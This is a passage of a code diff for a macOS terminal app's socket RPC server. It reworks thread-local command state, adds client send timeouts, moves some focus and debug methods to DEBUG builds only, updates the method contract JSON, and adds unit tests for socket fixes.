activation-suppression depth shared by concurrent commands. + // Each connection has its own handler thread. "In a socket command" and focus intent + // belong to that request, so both are thread-local; v2MainSync carries them to main. + private nonisolated static let socketCommandActiveThreadKey = "com.darkroom.programa.socket-command-active" private nonisolated static let socketCommandFocusAllowanceThreadKey = "com.darkroom.programa.socket-command-focus-allowance" private nonisolated static let socketListenBacklog: Int32 = 128 + private nonisolated static let clientSendTimeoutSeconds: TimeInterval = 10 private nonisolated static let acceptFailureBaseBackoffMs = 10 private nonisolated static let acceptFailureMaxBackoffMs = 5_000 private nonisolated static let acceptFailureMinimumRearmDelayMs = 100 @@ -339,8 +339,8 @@ class TerminalController { set { browserRPCState.nextElementOrdinal = newValue } } var v2BrowserElementRefs: [String: V2BrowserElementRefEntry] { - get { browserRPCState.elementRefs } - set { browserRPCState.elementRefs = newValue } + get { Self.v2AssertBrowserRPCStateOnMain(); return browserRPCState.elementRefs } + set { Self.v2AssertBrowserRPCStateOnMain(); browserRPCState.elementRefs = newValue } } var v2BrowserElementRefTokensBySurface: [UUID: Set] { get { browserRPCState.elementRefTokensBySurface } @@ -355,16 +355,16 @@ class TerminalController { set { browserRPCState.elementRefBytesBySurface = newValue } } var v2BrowserFrameSelectorBySurface: [UUID: String] { - get { browserRPCState.frameSelectorBySurface } - set { browserRPCState.frameSelectorBySurface = newValue } + get { Self.v2AssertBrowserRPCStateOnMain(); return browserRPCState.frameSelectorBySurface } + set { Self.v2AssertBrowserRPCStateOnMain(); browserRPCState.frameSelectorBySurface = newValue } } /// Bumped on every committed main-frame navigation of a browser surface. Element refs /// (`v2BrowserElementRefs`) capture the generation at allocation time so a ref from a /// previous page can be rejected instead of silently re-resolving against the new DOM /// (M6a). Main-thread only, same discipline as the other v2Browser state above. var v2BrowserNavigationGenerationBySurface: [UUID: UInt64] { - get { browserRPCState.navigationGenerationBySurface } - set { browserRPCState.navigationGenerationBySurface = newValue } + get { Self.v2AssertBrowserRPCStateOnMain(); return browserRPCState.navigationGenerationBySurface } + set { Self.v2AssertBrowserRPCStateOnMain(); browserRPCState.navigationGenerationBySurface = newValue } } var v2BrowserInitScriptsBySurface: [UUID: [String]] { get { browserRPCState.initScriptsBySurface } @@ -543,9 +543,7 @@ class TerminalController { } nonisolated static func shouldSuppressSocketCommandActivation() -> Bool { - socketCommandPolicyLock.lock() - defer { socketCommandPolicyLock.unlock() } - return socketCommandPolicyDepth > 0 + (Thread.current.threadDictionary[socketCommandActiveThreadKey] as? NSNumber)?.boolValue ?? false } nonisolated static func socketCommandAllowsInAppFocusMutations() -> Bool { @@ -580,34 +578,27 @@ class TerminalController { return focusIntentV2Methods.contains(commandKey) } - private nonisolated static func withSocketCommandFocusAllowance( - _ allowsFocusMutation: Bool, + private nonisolated static func withSocketCommandThreadState( + inCommand: Bool, + allowsFocusMutation: Bool, _ body: () -> T ) -> T { let threadDictionary = Thread.current.threadDictionary - let previousValue = threadDictionary[socketCommandFocusAllowanceThreadKey] + let keys = [socketCommandActiveThreadKey, socketCommandFocusAllowanceThreadKey] + let previousValues = keys.map { threadDictionary[$0] } + threadDictionary[socketCommandActiveThreadKey] = inCommand threadDictionary[socketCommandFocusAllowanceThreadKey] = allowsFocusMutation defer { - if let previousValue { - threadDictionary[socketCommandFocusAllowanceThreadKey] = previousValue - } else { - threadDictionary.removeObject(forKey: socketCommandFocusAllowanceThreadKey) - } + // Assigning nil removes the key, so an outermost scope leaves no marker behind. + for (key, previousValue) in zip(keys, previousValues) { threadDictionary[key] = previousValue } } return body() } private func withSocketCommandPolicy(commandKey: String, isV2: Bool, _ body: () -> T) -> T { let allowsFocusMutation = Self.socketCommandAllowsInAppFocusMutations(commandKey: commandKey, isV2: isV2) - Self.socketCommandPolicyLock.lock() - Self.socketCommandPolicyDepth += 1 - Self.socketCommandPolicyLock.unlock() - defer { - Self.socketCommandPolicyLock.lock() - Self.socketCommandPolicyDepth = max(0, Self.socketCommandPolicyDepth - 1) - Self.socketCommandPolicyLock.unlock() - } - return Self.withSocketCommandFocusAllowance(allowsFocusMutation, body) + _ = Self.v2TakeSelectorResolutionFailure() + return Self.withSocketCommandThreadState(inCommand: true, allowsFocusMutation: allowsFocusMutation, body) } #if DEBUG @@ -1086,25 +1077,16 @@ class TerminalController { return timeval(tv_sec: Int(seconds), tv_usec: Int32(microseconds.rounded())) } - private nonisolated static func configureSocketTimeouts(_ fd: Int32, timeout: TimeInterval) { + private nonisolated static func configureSocketTimeouts( + _ fd: Int32, + timeout: TimeInterval, + options: [Int32] = [SO_RCVTIMEO, SO_SNDTIMEO] + ) { var socketTimeout = makeSocketTimeout(timeout) - _ = withUnsafePointer(to: &socketTimeout) { ptr in - setsockopt( - fd, - SOL_SOCKET, - SO_RCVTIMEO, - ptr, - socklen_t(MemoryLayout.size) - ) - } - _ = withUnsafePointer(to: &socketTimeout) { ptr in - setsockopt( - fd, - SOL_SOCKET, - SO_SNDTIMEO, - ptr, - socklen_t(MemoryLayout.size) - ) + for option in options { + _ = withUnsafePointer(to: &socketTimeout) { ptr in + setsockopt(fd, SOL_SOCKET, option, ptr, socklen_t(MemoryLayout.size)) + } } } @@ -1680,6 +1662,9 @@ class TerminalController { } consecutiveFailures = 0 + // Send-only: a stalled reader (e.g. a suspended watch-events) fails the write and tears + // down instead of pinning the writer; a receive timeout would drop idle persistent clients. + Self.configureSocketTimeouts(clientSocket, timeout: Self.clientSendTimeoutSeconds, options: [SO_SNDTIMEO]) // Capture peer PID immediately — before the client can disconnect. // ncat --send-only closes the connection right after writing, so by @@ -1758,6 +1743,7 @@ class TerminalController { // `close(socket)` defer is declared FIRST (runs last) and `connection.teardown()` is // declared SECOND (runs first). let connection = SocketConnection(socket: socket) + Self.v2SetCurrentSocketClientFD(socket) // lets long waits notice a hung-up client defer { close(socket) } defer { connection.teardown() } @@ -2104,8 +2090,8 @@ class TerminalController { return v2Result(id: id, self.v2SurfaceRefresh(params: params)) case "surface.health": return v2Result(id: id, self.v2SurfaceHealth(params: params)) - case "debug.terminals": - return v2Result(id: id, self.v2DebugTerminals(params: params)) + case "surface.resolve_tty": + return v2Result(id: id, self.v2SurfaceResolveTTY(params: params)) case "surface.send_text": return v2Result(id: id, self.v2SurfaceSendText(params: params)) case "surface.send_key": @@ -2181,11 +2167,6 @@ class TerminalController { case "notification.clear": return v2Result(id: id, self.v2NotificationClear(params: params)) - // App focus - case "app.focus_override.set": - return v2Result(id: id, self.v2AppFocusOverride(params: params)) - case "app.simulate_active": - return v2Result(id: id, self.v2AppSimulateActive()) case "app.reload_config": return v2Result(id: id, self.v2AppReloadConfig(params: params)) case "app.browsers": @@ -2223,7 +2204,13 @@ class TerminalController { return v2Result(id: id, self.v2Unsubscribe(params: params, connection: connection)) #if DEBUG - // Debug / test-only + // Debug / test-only (Release answers method_not_found) + case "debug.terminals": + return v2Result(id: id, self.v2DebugTerminals(params: params)) + case "app.focus_override.set": + return v2Result(id: id, self.v2AppFocusOverride(params: params)) + case "app.simulate_active": + return v2Result(id: id, self.v2AppSimulateActive()) case "debug.glass.set": return v2Result(id: id, self.v2DebugGlassSet(params: params)) case "debug.shortcut.set": @@ -2310,7 +2297,6 @@ class TerminalController { ] } - // MARK: - V2 Helpers (encoding + result plumbing) // MARK: - V2 Helpers (encoding + result plumbing) nonisolated func v2OrNull(_ value: Any?) -> Any { @@ -2326,11 +2312,16 @@ class TerminalController { } } // AppDelegate and Workspace focus guards run inside the main-thread closure, so carry - // only this request's allowance across the hop and restore the main thread afterward. + // this request's in-command marker and focus allowance across the hop, then restore main. + let inCommand = Self.shouldSuppressSocketCommandActivation() let allowsFocusMutation = Self.socketCommandAllowsInAppFocusMutations() + let caller = Thread.current return DispatchQueue.main.sync { MainActor.assumeIsolated { - Self.withSocketCommandFocusAllowance(allowsFocusMutation, body) + _ = Self.v2TakeSelectorResolutionFailure() + let value = Self.withSocketCommandThreadState(inCommand: inCommand, allowsFocusMutation: allowsFocusMutation, body) + Self.v2MoveSelectorResolutionFailure(to: caller) + return value } } } @@ -2369,6 +2360,9 @@ class TerminalController { case .ok(let payload): return v2Ok(id: id, result: payload) case .err(let code, let message, let data): + if code == "unavailable", let failure = Self.v2TakeSelectorResolutionFailure() { + return v2Error(id: id, code: failure.code, message: failure.message, data: failure.data) + } return v2Error(id: id, code: code, message: message, data: data) } } @@ -2664,11 +2658,11 @@ class TerminalController { // no manager owns falls back to self.tabManager so the handler can report not_found for it // (v2ResolveWorkspace fails there); returning nil would surface it as "unavailable" instead. if v2HasNonNullParam(params, "window_id") { - guard let windowId = v2UUID(params, "window_id") else { return nil } - return v2MainSync { AppDelegate.shared?.tabManagerFor(windowId: windowId) } + guard let windowId = v2UUID(params, "window_id") else { return v2SelectorUnresolved(params, "window_id") } + return v2MainSync { AppDelegate.shared?.tabManagerFor(windowId: windowId) } ?? v2SelectorUnresolved(params, "window_id") } if v2HasNonNullParam(params, "workspace_id") { - guard let workspaceId = v2UUID(params, "workspace_id") else { return nil } + guard let workspaceId = v2UUID(params, "workspace_id") else { return v2SelectorUnresolved(params, "workspace_id") } return v2MainSync { if let tabManager = AppDelegate.shared?.tabManagerFor(tabId: workspaceId) { return tabManager @@ -2677,7 +2671,7 @@ class TerminalController { } } if v2HasNonNullParam(params, "surface_id") { - guard let surfaceId = v2UUID(params, "surface_id") else { return nil } + guard let surfaceId = v2UUID(params, "surface_id") else { return v2SelectorUnresolved(params, "surface_id") } return v2MainSync { if let tabManager = AppDelegate.shared?.locateSurface(surfaceId: surfaceId)?.tabManager { return tabManager @@ -2686,7 +2680,7 @@ class TerminalController { } } if v2HasNonNullParam(params, "tab_id") { - guard let tabId = v2UUID(params, "tab_id") else { return nil } + guard let tabId = v2UUID(params, "tab_id") else { return v2SelectorUnresolved(params, "tab_id") } return v2MainSync { if let tabManager = AppDelegate.shared?.locateSurface(surfaceId: tabId)?.tabManager { return tabManager @@ -2893,9 +2887,9 @@ class TerminalController { ) -> String? { let pasteboard = NSPasteboard.general let snapshot = snapshotPasteboardItems(pasteboard) - defer { - restorePasteboardItems(snapshot, to: pasteboard) - } + // If another app copies after our export write, keep its contents and drop this capture. + var exportChangeCount: Int? + defer { if exportChangeCount.map({ $0 == pasteboard.changeCount }) ?? true { restorePasteboardItems(snapshot, to: pasteboard) } } let initialChangeCount = pasteboard.changeCount guard performBindingAction("write_screen_file:copy,vt") else { @@ -2904,6 +2898,7 @@ class TerminalController { guard pasteboard.changeCount != initialChangeCount else { return nil } + exportChangeCount = pasteboard.changeCount guard let exportedPath = Self.normalizedExportedScreenPath(readGeneralPasteboardString(pasteboard)) else { return nil } @@ -2919,7 +2914,8 @@ class TerminalController { } guard let data = try? Data(contentsOf: fileURL), - var output = String(data: data, encoding: .utf8) else { + var output = String(data: data, encoding: .utf8), + pasteboard.changeCount == exportChangeCount else { return nil } if let lineLimit { diff --git a/Sources/V2CommandCatalog.swift b/Sources/V2CommandCatalog.swift index dcfcbfd26..2e2dc5ac0 100644 --- a/Sources/V2CommandCatalog.swift +++ b/Sources/V2CommandCatalog.swift @@ -25,9 +25,7 @@ enum V2CommandCatalog { "agent.task.start", "agent.task.update", "app.browsers", - "app.focus_override.set", "app.reload_config", - "app.simulate_active", "auth.login", "browser.addinitscript", "browser.addscript", @@ -101,7 +99,6 @@ enum V2CommandCatalog { "browser.uncheck", "browser.url.get", "browser.wait", - "debug.terminals", "feedback.open", "feedback.submit", "layout.apply", @@ -157,6 +154,7 @@ enum V2CommandCatalog { "surface.report_pwd", "surface.report_shell_state", "surface.report_tty", + "surface.resolve_tty", "surface.send_key", "surface.send_text", "surface.split", @@ -209,6 +207,8 @@ enum V2CommandCatalog { /// Methods only available in DEBUG builds, appended after `baseMethods`. static let debugMethods: [String] = [ + "app.focus_override.set", + "app.simulate_active", "debug.app.activate", "debug.bonsplit_underflow.count", "debug.bonsplit_underflow.reset", @@ -240,6 +240,7 @@ enum V2CommandCatalog { "debug.terminal.is_focused", "debug.terminal.read_text", "debug.terminal.render_stats", + "debug.terminals", "debug.type", "debug.viewtree", "debug.window.screenshot", diff --git a/contracts/v2/methods.json b/contracts/v2/methods.json index 487f48ba3..30f30c41d 100644 --- a/contracts/v2/methods.json +++ b/contracts/v2/methods.json @@ -206,6 +206,7 @@ "debug_only": false, "description": "Agent task lifecycle, spawning, and prompt delivery. (prompt).", "errors": [ + "client_disconnected", "internal_error", "invalid_params", "not_found", @@ -418,7 +419,7 @@ }, "app.focus_override.set": { "auth_required": true, - "debug_only": false, + "debug_only": true, "description": "App-level focus/activation and browser discovery. (set).", "errors": [ "invalid_params" @@ -467,7 +468,7 @@ }, "app.simulate_active": { "auth_required": true, - "debug_only": false, + "debug_only": true, "description": "App-level focus/activation and browser discovery. (simulate active).", "errors": [ "invalid_params", @@ -841,12 +842,18 @@ "additionalProperties": false, "properties": { "all": {}, + "all_domains": { + "type": "boolean" + }, "domain": { "type": "string" }, "name": { "type": "string" }, + "path": { + "type": "string" + }, "surface_id": { "format": "surface:N", "type": "string" @@ -888,6 +895,9 @@ "params": { "additionalProperties": false, "properties": { + "all_domains": { + "type": "boolean" + }, "domain": { "type": "string" }, @@ -945,12 +955,22 @@ "expires": { "type": "integer" }, + "http_only": { + "type": "boolean" + }, "name": { "type": "string" }, "path": { "type": "string" }, + "same_site": { + "type": "string", + "enum": [ + "lax", + "strict" + ] + }, "secure": { "type": "boolean" }, @@ -1012,6 +1032,7 @@ "debug_only": false, "description": "Embedded browser automation (Playwright-like RPC surface). (toggle).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -1827,6 +1848,7 @@ "description": "Embedded browser automation (Playwright-like RPC surface). (focus webview).", "errors": [ "internal_error", + "invalid_params", "invalid_state", "not_found", "unavailable" @@ -2316,6 +2338,8 @@ "debug_only": false, "description": "Embedded browser automation (Playwright-like RPC surface). (is webview focused).", "errors": [ + "invalid_params", + "not_found", "unavailable" ], "focus_intent": false, @@ -2494,6 +2518,8 @@ "errors": [ "external_open_failed", "internal_error", + "invalid_params", + "limit_reached", "not_found", "unavailable" ], @@ -3039,6 +3065,7 @@ "description": "Embedded browser automation (Playwright-like RPC surface). (close).", "errors": [ "internal_error", + "invalid_params", "invalid_state", "not_found", "unavailable" @@ -3085,6 +3112,7 @@ "debug_only": false, "description": "Embedded browser automation (Playwright-like RPC surface). (list).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -3124,6 +3152,7 @@ "description": "Embedded browser automation (Playwright-like RPC surface). (new).", "errors": [ "internal_error", + "invalid_params", "not_found", "unavailable" ], @@ -3173,6 +3202,7 @@ "debug_only": false, "description": "Embedded browser automation (Playwright-like RPC surface). (switch).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -3266,6 +3296,7 @@ "debug_only": false, "description": "Embedded browser automation (Playwright-like RPC surface). (get).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -4165,9 +4196,11 @@ }, "debug.terminals": { "auth_required": true, - "debug_only": false, + "debug_only": true, "description": "DEBUG-build-only introspection and simulation. (terminals).", "errors": [ + "invalid_params", + "not_found", "unavailable" ], "focus_intent": false, @@ -4315,6 +4348,7 @@ "debug_only": false, "description": "Saved workspace layouts. (apply).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -4384,7 +4418,9 @@ "already_exists", "internal_error", "invalid_name", + "invalid_params", "no_active_workspace", + "not_found", "unavailable" ], "focus_intent": false, @@ -4504,6 +4540,7 @@ "debug_only": false, "description": "In-app notification center. (create).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -4551,6 +4588,7 @@ "debug_only": false, "description": "In-app notification center. (create for surface).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -4598,6 +4636,7 @@ "debug_only": false, "description": "In-app notification center. (create for target).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -4668,6 +4707,7 @@ "description": "Split-pane layout management. (break).", "errors": [ "internal_error", + "invalid_params", "not_found", "unavailable" ], @@ -4714,6 +4754,8 @@ "description": "Split-pane layout management. (create).", "errors": [ "internal_error", + "invalid_params", + "limit_reached", "not_found", "unavailable" ], @@ -4733,6 +4775,13 @@ "format": "tab:N", "type": "string" }, + "type": { + "type": "string", + "enum": [ + "terminal", + "browser" + ] + }, "url": { "type": "string" }, @@ -4760,6 +4809,7 @@ "debug_only": false, "description": "Split-pane layout management. (focus).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -4843,6 +4893,7 @@ "debug_only": false, "description": "Split-pane layout management. (last).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -4881,6 +4932,7 @@ "debug_only": false, "description": "Split-pane layout management. (list).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -4972,6 +5024,7 @@ "debug_only": false, "description": "Split-pane layout management. (surfaces).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -5103,6 +5156,7 @@ "debug_only": false, "description": "Code review panel and comments. (list).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -5235,6 +5289,7 @@ "debug_only": false, "description": "Code review panel and comments. (refresh).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -5273,6 +5328,7 @@ "debug_only": false, "description": "Code review panel and comments. (send comments).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -5648,6 +5704,7 @@ "debug_only": false, "description": "Terminal surface (pane content) lifecycle and IO. (close).", "errors": [ + "invalid_params", "invalid_state", "not_found", "unavailable" @@ -5688,6 +5745,7 @@ "description": "Terminal surface (pane content) lifecycle and IO. (create).", "errors": [ "internal_error", + "invalid_params", "not_found", "unavailable" ], @@ -5708,6 +5766,13 @@ "format": "tab:N", "type": "string" }, + "type": { + "type": "string", + "enum": [ + "terminal", + "browser" + ] + }, "url": { "type": "string" }, @@ -5733,6 +5798,7 @@ "debug_only": false, "description": "Terminal surface (pane content) lifecycle and IO. (current).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -5772,6 +5838,7 @@ "description": "Terminal surface (pane content) lifecycle and IO. (drag to split).", "errors": [ "internal_error", + "invalid_params", "not_found", "unavailable" ], @@ -5816,6 +5883,7 @@ "debug_only": false, "description": "Terminal surface (pane content) lifecycle and IO. (focus).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -5856,6 +5924,7 @@ "debug_only": false, "description": "Terminal surface (pane content) lifecycle and IO. (health).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -5894,6 +5963,7 @@ "debug_only": false, "description": "Terminal surface (pane content) lifecycle and IO. (list).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -6069,6 +6139,7 @@ "debug_only": false, "description": "Terminal surface (pane content) lifecycle and IO. (refresh).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -6427,6 +6498,33 @@ }, "threading": "off_main" }, + "surface.resolve_tty": { + "auth_required": true, + "debug_only": false, + "description": "Terminal surface (pane content) lifecycle and IO. (resolve_tty): the terminal surface whose tty matches, for CLI hooks that bind their caller by TTY.", + "errors": [ + "invalid_params", + "not_found" + ], + "focus_intent": false, + "handler": "v2SurfaceResolveTTY", + "params": { + "additionalProperties": false, + "properties": { + "tty": { + "type": "string" + } + }, + "required": [ + "tty" + ], + "type": "object" + }, + "result": { + "type": "object" + }, + "threading": "main" + }, "surface.send_key": { "auth_required": true, "debug_only": false, @@ -6521,6 +6619,8 @@ "description": "Terminal surface (pane content) lifecycle and IO. (split).", "errors": [ "internal_error", + "invalid_params", + "limit_reached", "not_found", "unavailable" ], @@ -6567,6 +6667,7 @@ "debug_only": false, "description": "Terminal surface (pane content) lifecycle and IO. (trigger flash).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -6605,6 +6706,7 @@ "debug_only": false, "description": "Terminal surface (pane content) lifecycle and IO. (wait).", "errors": [ + "client_disconnected", "internal_error", "invalid_params", "not_found", @@ -6895,6 +6997,7 @@ "debug_only": false, "description": "Top-level OS window management. (current).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -7181,6 +7284,9 @@ "debug_only": false, "description": "Workspace (tab) lifecycle, ordering, and metadata. (close).", "errors": [ + "internal_error", + "invalid_params", + "invalid_state", "not_found", "protected", "unavailable" @@ -7223,6 +7329,7 @@ "description": "Workspace (tab) lifecycle, ordering, and metadata. (create).", "errors": [ "invalid_params", + "not_found", "unavailable" ], "focus_intent": false, @@ -7282,6 +7389,7 @@ "debug_only": false, "description": "Workspace (tab) lifecycle, ordering, and metadata. (current).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -7320,6 +7428,7 @@ "debug_only": false, "description": "Workspace (tab) lifecycle, ordering, and metadata. (equalize splits).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -7361,6 +7470,7 @@ "debug_only": false, "description": "Workspace (tab) lifecycle, ordering, and metadata. (last).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -7399,6 +7509,8 @@ "debug_only": false, "description": "Workspace (tab) lifecycle, ordering, and metadata. (list).", "errors": [ + "invalid_params", + "not_found", "unavailable" ], "focus_intent": false, @@ -7480,6 +7592,7 @@ "debug_only": false, "description": "Workspace (tab) lifecycle, ordering, and metadata. (list meta blocks).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -7518,6 +7631,7 @@ "debug_only": false, "description": "Workspace (tab) lifecycle, ordering, and metadata. (list status).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -7628,6 +7742,7 @@ "debug_only": false, "description": "Workspace (tab) lifecycle, ordering, and metadata. (next).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -7666,6 +7781,7 @@ "debug_only": false, "description": "Workspace (tab) lifecycle, ordering, and metadata. (previous).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -7704,6 +7820,7 @@ "debug_only": false, "description": "Workspace (tab) lifecycle, ordering, and metadata. (rename).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -7839,6 +7956,7 @@ "debug_only": false, "description": "Workspace (tab) lifecycle, ordering, and metadata. (reset sidebar).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -7877,6 +7995,7 @@ "debug_only": false, "description": "Workspace (tab) lifecycle, ordering, and metadata. (select).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -8041,6 +8160,7 @@ "debug_only": false, "description": "Workspace (tab) lifecycle, ordering, and metadata. (sidebar state).", "errors": [ + "invalid_params", "not_found", "unavailable" ], @@ -8082,8 +8202,10 @@ "branch_checked_out", "cleanup_failed", "git_command_failed", + "invalid_params", "layout_not_found", "not_a_git_repo", + "not_found", "unavailable", "worktree_path_exists" ], @@ -8186,7 +8308,9 @@ "debug_only": false, "description": "Git worktree lifecycle. (open).", "errors": [ + "invalid_params", "not_a_git_repo", + "not_found", "unavailable", "worktree_not_found" ], @@ -8245,7 +8369,9 @@ "description": "Git worktree lifecycle. (remove).", "errors": [ "git_command_failed", + "invalid_params", "not_a_git_repo", + "not_found", "unavailable", "worktree_dirty", "worktree_not_found" diff --git a/programaTests/SocketFixSweepSOCKTests.swift b/programaTests/SocketFixSweepSOCKTests.swift new file mode 100644 index 000000000..17dd3f339 --- /dev/null +++ b/programaTests/SocketFixSweepSOCKTests.swift @@ -0,0 +1,192 @@ +import XCTest +import Darwin + +#if canImport(Programa_DEV) +@testable import Programa_DEV +#elseif canImport(Programa) +@testable import Programa +#endif + +/// Pure decision functions behind the socket fix sweep. Each assertion encodes the rule a +/// socket caller depends on, so breaking the rule fails the case. +final class SocketFixSweepPureRuleTests: XCTestCase { + // SOCK-09: a JS timeout in the isolated world already burned the caller's budget, and the + // script may have side effects, so it must never be replayed in the page world. + func testPageWorldRetryNeverReplaysATimeout() { + XCTAssertFalse(TerminalController.v2BrowserShouldRetryInPageWorld( + isolatedError: TerminalController.v2JavaScriptTimeoutMessage, allowsRetry: true)) + XCTAssertFalse(TerminalController.v2BrowserShouldRetryInPageWorld(isolatedError: "x", allowsRetry: false)) + XCTAssertTrue(TerminalController.v2BrowserShouldRetryInPageWorld(isolatedError: "x", allowsRetry: true)) + } + + // SOCK-12: the cookie domain filter is a host-suffix match, not a substring match. + func testCookieDomainFilterMatchesHostSuffixOnly() { + let cases: [(cookie: String, filter: String, expected: Bool)] = [ + (".a.example.com", "example.com", true), + ("example.com", "example.com", true), + ("notexample.com", "example.com", false), + ("example.com", "com", true), + ("", "x", false), + ] + for c in cases { + XCTAssertEqual( + TerminalController.v2BrowserCookieDomainMatches(c.cookie, filter: c.filter), + c.expected, + "cookie domain \(c.cookie.debugDescription) vs filter \(c.filter.debugDescription)" + ) + } + } + + // SOCK-14: CRLF is a single Return key press; a lone LF is still its own key. + func testSocketKeyChunksTreatCRLFAsOneReturn() { + XCTAssertEqual( + TerminalController.socketKeyChunks("ls\r\n"), + [.text("ls"), .control("\r")] + ) + XCTAssertEqual( + TerminalController.socketKeyChunks("a\nb"), + [.text("a"), .control("\n"), .text("b")] + ) + } +} + +@MainActor +final class SocketFixSweepAgentStateTests: XCTestCase { + // SOCK-24: a finished helper reports as an outcome, not as the workspace's live state. + func testFailedHelperDoesNotPinWorkspaceActivityState() throws { + let workspace = Workspace() + let panel = try XCTUnwrap(workspace.focusedPanelId) + workspace.updatePanelAgentState(panelId: panel, state: .idle) + let registry = AgentSupervisionRegistry(capacity: 4) + _ = try registry.start( + host: "codex", + state: .failed, + placement: .runsWithParent, + workspaceId: workspace.id + ) + let records = registry.records() + + XCTAssertEqual( + AgentSupervisionMetadata.currentActivityState(for: workspace, records: records), + "idle" + ) + XCTAssertEqual(AgentSupervisionMetadata.helperOutcomes(records: records)["failed"], 1) + } +} + +#if DEBUG +/// SOCK-02: a pending `surface.wait` blocks only its own connection. The in-command marker that +/// suppresses app activation must not leak onto the main thread while that wait is registered. +@MainActor +final class SocketFixSweepPendingWaitTests: XCTestCase { + override func setUp() { + super.setUp() + TerminalController.shared.stop() + } + + override func tearDown() { + TerminalController.shared.stop() + super.tearDown() + } + + func testPendingSurfaceWaitDoesNotMarkMainThreadAsInSocketCommand() async throws { + let directoryURL = FileManager.default.temporaryDirectory + .appendingPathComponent("programa-sock02-\(UUID().uuidString)", isDirectory: true) + try FileManager.default.createDirectory(at: directoryURL, withIntermediateDirectories: true) + defer { try? FileManager.default.removeItem(at: directoryURL) } + + let tabManager = TabManager(initialWorkingDirectory: directoryURL.path) + let workspace = try XCTUnwrap(tabManager.selectedWorkspace) + let surfaceId = try XCTUnwrap(workspace.focusedPanelId) + XCTAssertTrue(tabManager.updateSurfaceAgentState( + tabId: workspace.id, surfaceId: surfaceId, state: .idle, source: .hooks)) + + let shortID = UUID().uuidString.replacingOccurrences(of: "-", with: "").prefix(8) + let socketPath = URL(fileURLWithPath: NSTemporaryDirectory()) + .appendingPathComponent("sk02-\(shortID).sock").path + TerminalController.shared.start(tabManager: tabManager, socketPath: socketPath, accessMode: .allowAll) + defer { + // Release the waiter so the connection thread finishes before the controller stops. + _ = tabManager.updateSurfaceAgentState( + tabId: workspace.id, surfaceId: surfaceId, state: .working, source: .hooks) + TerminalController.shared.stop() + } + + let socketDeadline = Date().addingTimeInterval(5) + while !FileManager.default.fileExists(atPath: socketPath), Date() < socketDeadline { + try await Task.sleep(nanoseconds: 20_000_000) + } + XCTAssertTrue(FileManager.default.fileExists(atPath: socketPath), "socket never appeared") + + // Client A: its own connection, blocked inside surface.wait. + let waitDone = expectation(description: "surface.wait returned") + let fd = try Self.connect(to: socketPath) + defer { Darwin.close(fd) } + let request: [String: Any] = [ + "jsonrpc": "2.0", "id": 1, "method": "surface.wait", + "params": [ + "workspace_id": workspace.id.uuidString, + "surface_id": surfaceId.uuidString, + "agent_state": "working", + "timeout_ms": 5_000, + ], + ] + let line = try JSONSerialization.data(withJSONObject: request) + Data("\n".utf8) + let written = line.withUnsafeBytes { Darwin.write(fd, $0.baseAddress, line.count) } + XCTAssertEqual(written, line.count) + DispatchQueue.global().async { + var byte: UInt8 = 0 + while Darwin.read(fd, &byte, 1) == 1, byte != 0x0A {} + waitDone.fulfill() + } + + let deadline = Date().addingTimeInterval(2) + while !AgentStateWaitRegistry.shared.hasPendingWaiterForTesting(surfaceId: surfaceId, condition: .working), + Date() < deadline { + try await Task.sleep(nanoseconds: 10_000_000) + } + XCTAssertTrue( + AgentStateWaitRegistry.shared.hasPendingWaiterForTesting(surfaceId: surfaceId, condition: .working), + "surface.wait did not register its waiter within 2s" + ) + + XCTAssertTrue(Thread.isMainThread) + XCTAssertFalse( + TerminalController.shouldSuppressSocketCommandActivation(), + "A pending socket command must not mark the main thread as inside a socket command" + ) + + _ = tabManager.updateSurfaceAgentState( + tabId: workspace.id, surfaceId: surfaceId, state: .working, source: .hooks) + await fulfillment(of: [waitDone], timeout: 6) + } + + private static func connect(to path: String) throws -> Int32 { + let fd = Darwin.socket(AF_UNIX, SOCK_STREAM, 0) + guard fd >= 0 else { throw NSError(domain: NSPOSIXErrorDomain, code: Int(errno)) } + var addr = sockaddr_un() + addr.sun_family = sa_family_t(AF_UNIX) + let bytes = Array(path.utf8) + let capacity = MemoryLayout.size(ofValue: addr.sun_path) + guard bytes.count < capacity else { + Darwin.close(fd) + throw NSError(domain: NSPOSIXErrorDomain, code: Int(ENAMETOOLONG)) + } + withUnsafeMutablePointer(to: &addr.sun_path) { ptr in + let cPath = UnsafeMutableRawPointer(ptr).assumingMemoryBound(to: CChar.self) + cPath.initialize(repeating: 0, count: capacity) + for (i, b) in bytes.enumerated() { cPath[i] = CChar(bitPattern: b) } + } + let len = socklen_t(MemoryLayout.size + bytes.count + 1) + let rc = withUnsafePointer(to: &addr) { + $0.withMemoryRebound(to: sockaddr.self, capacity: 1) { Darwin.connect(fd, $0, len) } + } + guard rc == 0 else { + let code = errno + Darwin.close(fd) + throw NSError(domain: 